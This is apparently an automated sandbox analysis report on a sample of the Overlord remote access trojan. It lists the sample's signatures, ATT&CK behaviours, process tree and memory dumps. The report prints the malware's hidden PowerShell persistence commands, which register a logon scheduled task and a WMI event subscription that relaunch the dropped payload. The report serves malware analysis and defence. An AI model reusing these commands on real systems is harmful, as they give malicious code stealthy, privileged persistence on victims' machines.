Analysis
- user interaction
yes - max time kernel
90s - max time network
81s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
29/06/2026, 23:20
General
- Target exe.exe
- Size 4.7MB
- Sample260629-3bdcjsaw3m
- SHA256 e4d5532a30e31b27faf0348da4674b6e504918087736da1fadeca6c56fc1e71e
Malware Config
Extracted
-
overlord
-
test_test
Signatures
- Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- UPX packed file 10 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\exe.exe"C:\Users\Admin\AppData\Local\Temp\exe.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SyncService.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'SyncService_f7e0a921' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SyncService.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SyncService.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SyncService.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'SyncService_f7e0a921' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'SyncService_ff7e0a921'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'SyncService_cf7e0a921'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\SyncService.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='SyncService_ff7e0a921'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='SyncService_cf7e0a921'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ifgowp2u.51q.ps1
SyncService.exe
memory/4268-70-0x00007FF636120000-0x00007FF638E9F000-memory.dmp
memory/4268-67-0x00007FF636120000-0x00007FF638E9F000-memory.dmp
memory/4268-39-0x00007FF636120000-0x00007FF638E9F000-memory.dmp
memory/5976-29-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-35-0x000001CD7C7D0000-0x000001CD7C882000-memory.dmp
memory/5976-17-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-18-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-19-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-20-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-21-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-22-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-23-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-15-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-5-0x00007FFD3D2EF000-0x00007FFD3D2F0000-memory.dmp
memory/5976-32-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-34-0x000001CD7C7B0000-0x000001CD7C7CE000-memory.dmp
memory/5976-16-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-36-0x000001CD7C890000-0x000001CD7C89A000-memory.dmp
memory/5976-37-0x000001CD7C8C0000-0x000001CD7C8DE000-memory.dmp
memory/5976-38-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-13-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-11-0x000001CD7C4F0000-0x000001CD7C512000-memory.dmp
memory/5976-54-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/5976-12-0x00007FFD3D160000-0x00007FFD3DB04000-memory.dmp
memory/6040-66-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp
memory/6040-40-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp
memory/6040-0-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp
memory/6040-71-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp
memory/6040-74-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp
memory/6040-77-0x00007FF6771F0000-0x00007FF679F6F000-memory.dmp